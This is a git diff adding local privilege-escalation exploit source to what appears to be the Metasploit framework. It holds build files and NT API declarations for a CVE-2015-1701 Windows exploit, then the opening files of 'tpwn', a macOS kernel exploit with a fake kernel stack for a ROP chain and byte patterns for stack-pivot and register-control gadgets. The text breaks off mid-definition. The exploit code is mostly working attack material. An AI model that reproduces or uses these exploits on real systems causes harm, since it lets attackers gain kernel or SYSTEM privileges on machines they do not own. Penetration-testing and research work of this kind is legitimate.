NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_ PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS WINAPI NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength + ); + +NTSTATUS NTAPI NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_ PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + +NTSTATUS NTAPI NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_ PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle + ); + +NTSTATUS NTAPI NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + __inout PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect + ); + +NTSTATUS NTAPI NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress + ); + +NTSTATUS NTAPI NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); + +NTSTATUS NTAPI NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_opt_ ULONG BufferLength, + _Out_opt_ PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_ PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_ PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSTATUS NTAPI NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + +NTSTATUS NTAPI NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_ PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +//TmTx +NTSTATUS NTAPI NtCreateTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ LPGUID Uow, + _In_opt_ HANDLE TmHandle, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG IsolationLevel, + _In_opt_ ULONG IsolationFlags, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PUNICODE_STRING Description + ); + +//TmRm +NTSTATUS NTAPINtCreateResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_opt_ PUNICODE_STRING Description + ); + +//TmEn +NTSTATUS NTAPI NtCreateEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ HANDLE TransactionHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_ NOTIFICATION_MASK NotificationMask, + _In_opt_ PVOID EnlistmentKey + ); + +//TmTm +NTSTATUS NTAPI NtCreateTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG CommitStrength + ); + +NTSTATUS NTAPI NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_opt_ PVOID EaBuffer, + _In_ ULONG EaLength + ); + +NTSTATUS NTAPI NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSTATUS NTAPI NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSTATUS NTAPI NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSTATUS NTAPI NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSTATUS NTAPI NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + +NTSTATUS NTAPI NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSTATUS NTAPI NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded + ); + +NTSTATUS NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count + ); + +NTSTATUS NTAPI NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + +NTSTATUS NTAPI NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_ PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NTAPI NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead + ); + +NTSTATUS NTAPI NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ VOID *Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten + ); + +NTSTATUS NTAPI NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ ULONG MaxPoolUsage + ); + +NTSTATUS NTAPI NtCompleteConnectPort( + _In_ HANDLE PortHandle + ); + +NTSTATUS NTAPI NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest + ); + +NTSTATUS NTAPI NtReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtRequestPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage + ); + +NTSTATUS NTAPI NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtClosePort( + _In_ HANDLE PortHandle + ); + +NTSTATUS NTAPI NtReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID *PortContext, + _In_opt_ PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage + ); + +NTSTATUS NTAPI NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesWritten + ); + +NTSTATUS NTAPI NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesRead + ); + +NTSTATUS NTAPI NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Out_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength + ); + +NTSTATUS NTAPI NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView + ); diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.vcxproj b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.vcxproj new file mode 100755 index 0000000000..b4534dd447 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.vcxproj @@ -0,0 +1,245 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8} + cve-2015-1701 + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + v120_xp + + + DynamicLibrary + MultiByte + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + + Disabled + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) + true + Windows + MachineX86 + + + /ignore:4070 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + + + Disabled + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions) + EnableFastChecks + MultiThreadedDebug + + + Level3 + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) + true + Windows + + + /ignore:4070 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\cve-2015-1701.map + Windows + + + + + false + + + $(OutDir)\cve-2015-1701.lib + MachineX86 + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\cve-2015-1701.map + Windows + + + + + false + + + $(OutDir)\cve-2015-1701.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\" + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-1701/make.msbuild b/external/source/exploits/cve-2015-1701/make.msbuild new file mode 100755 index 0000000000..933e497485 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/make.msbuild @@ -0,0 +1,18 @@ + + + + .\cve-2015-1701.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index fb39b2e3c5..53aaf45e4e 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -54,6 +54,13 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2015-1701 (copy_client_image)" + PUSHD CVE-2015-1701 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + IF "%ERRORLEVEL%"=="0" ( ECHO "Building CVE-2013-1300 (schlamperei)" PUSHD CVE-2013-1300 diff --git a/external/source/exploits/tpwn/Makefile b/external/source/exploits/tpwn/Makefile new file mode 100644 index 0000000000..dfecee38e4 --- /dev/null +++ b/external/source/exploits/tpwn/Makefile @@ -0,0 +1,3 @@ +all: + gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 + strip tpwn diff --git a/external/source/exploits/tpwn/import.h b/external/source/exploits/tpwn/import.h new file mode 100644 index 0000000000..cf0a0354f4 --- /dev/null +++ b/external/source/exploits/tpwn/import.h @@ -0,0 +1,34 @@ +#ifndef pwn_import_h +#define pwn_import_h + + +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "lsym.h" +#include "lsym_gadgets.h" + +#endif diff --git a/external/source/exploits/tpwn/lsym.h b/external/source/exploits/tpwn/lsym.h new file mode 100644 index 0000000000..eaa1d417d9 --- /dev/null +++ b/external/source/exploits/tpwn/lsym.h @@ -0,0 +1,47 @@ +#ifndef __pwn__lsym__ +#define __pwn__lsym__ + +#include +#include "import.h" + +#define JUNK_VALUE 0x1337133713371337 + + +typedef struct kernel_fake_stack { + uint64_t __cnt; + uint64_t __padding[0x4999]; + uint64_t __rop_chain[0x5000]; +} kernel_fake_stack_t; + +#define LSYM_PAYLOAD_VTABLE 1 + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); + +typedef struct lsym_map { + void* map; + const char* path; + size_t sz; +} lsym_map_t; + +typedef enum { + LSYM_DO_NOT_REBASE = (1 << 0) +} lsym_gadget_flags; + +typedef uint64_t lsym_map_pointer_t; +typedef uint64_t lsym_kern_pointer_t; +typedef uint64_t lsym_slidden_kern_pointer_t; +typedef uint64_t lsym_offset_t; + +lsym_kern_pointer_t kext_pointer(const char* identifier); +lsym_map_t *lsym_map_file(const char *path); +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name); +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags); +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping); +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer); +lsym_offset_t lsym_vm_addrperm(); + +typedef struct kernel_exploit_vector kernel_exploit_vector_t; + +#endif /* defined(__pwn__lsym__) */ diff --git a/external/source/exploits/tpwn/lsym.m b/external/source/exploits/tpwn/lsym.m new file mode 100644 index 0000000000..5ac22b512b --- /dev/null +++ b/external/source/exploits/tpwn/lsym.m @@ -0,0 +1,159 @@ +#include "lsym.h" +#import + +#include + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); + + +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); +#ifdef FIND_KERNEL_SLIDE +static lsym_offset_t kaslr_slide=0; +static char kaslr_slide_found =0; +#endif + +__attribute__((always_inline)) +lsym_kern_pointer_t kext_pointer(const char* identifier){ + return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue]; +} + +__attribute__((always_inline)) +lsym_map_t *lsym_map_file(const char *path) { + int fd=open(path, O_RDONLY); +if(fd < 0) return 0; + struct stat sb; + fstat(fd, &sb); + if (sb.st_size < 0x1000) { + return 0; + } + void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0); + lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t)); + ret->map = map; + ret->path = path; + ret->sz = sb.st_size & 0xFFFFFFFF; + return ret; +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) { + lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size); + if (!off) { + puts("[-] Couldn't find a ROP gadget, aborting."); + exit(1); + } + return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map)); +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) { + struct mach_header_64 *mh = mapping->map; + struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT); + return (lsym_kern_pointer_t)text->vmaddr; +} +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) { + struct mach_header_64 *mh = mapping->map; + struct symtab_command *symtab = NULL; + struct segment_command_64 *linkedit = NULL; + /* + * Check header + */ + if (mh->magic != MH_MAGIC_64) { + return (lsym_kern_pointer_t)NULL; + } + + /* + * Find the LINKEDIT and SYMTAB sections + */ + linkedit = find_segment_64(mh, SEG_LINKEDIT); + if (!linkedit) { + return (lsym_kern_pointer_t)NULL; + } + + symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB); + if (!symtab) { + return (lsym_kern_pointer_t)NULL; + } + void* symtabp = symtab->stroff + 4 + (char*)mh; + void* symtabz = symtab->stroff + (char*)mh; + void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA; + uint32_t idx = 0; + while (symtabp < symendp) { + if(strcmp(symtabp, name) == 0) goto found; + symtabp += strlen((char*)symtabp) + 1; + idx++; + } + printf("[-] symbol %s not resolved.\n", name); exit(0); + return (lsym_kern_pointer_t)NULL; +found:; + struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh); + uint64_t strx = ((char*)symtabp - (char*)symtabz); + unsigned int symp = 0; + while(symp <= (symtab->nsyms)) { + uint32_t strix = *((uint32_t*)nlp); + if(strix == strx) + goto found1; + nlp ++; //sizeof(struct nlist_64); + symp++; + } + printf("[-] symbol not found: %s\n", name); + exit(-1); +found1: + //printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value); + return (lsym_kern_pointer_t)nlp->n_value; + +} + +__attribute__((always_inline)) +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname) +{ + struct load_command *lc; + struct segment_command_64 *s, *fs = NULL; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == LC_SEGMENT_64) { + s = (struct segment_command_64 *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return fs; +} + +__attribute__((always_inline)) +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name) +{ + struct section_64 *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64)); + i < seg->nsects; + i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +__attribute__((always_inline)) +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd) +{ + struct load_command *lc, *flc; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == cmd) { + flc = (struct load_command *)lc; + break; + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return flc; +} diff --git a/external/source/exploits/tpwn/lsym_gadgets.h b/external/source/exploits/tpwn/lsym_gadgets.h new file mode 100644 index 0000000000..a6616e4ca5 --- /dev/null +++ b/external/source/exploits/tpwn/lsym_gadgets.h @@ -0,0 +1,69 @@ +#ifndef ROP_PIVOT_RAX +/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */ + +#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name)) + +/* ROP gadgets present in 10.10 */ + +// stack pivot +#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0) +#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0) +#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0) +#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0) + +#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0) + +// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts). +// how the fuck do these gadgets even exist lmao + +#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0); +#define 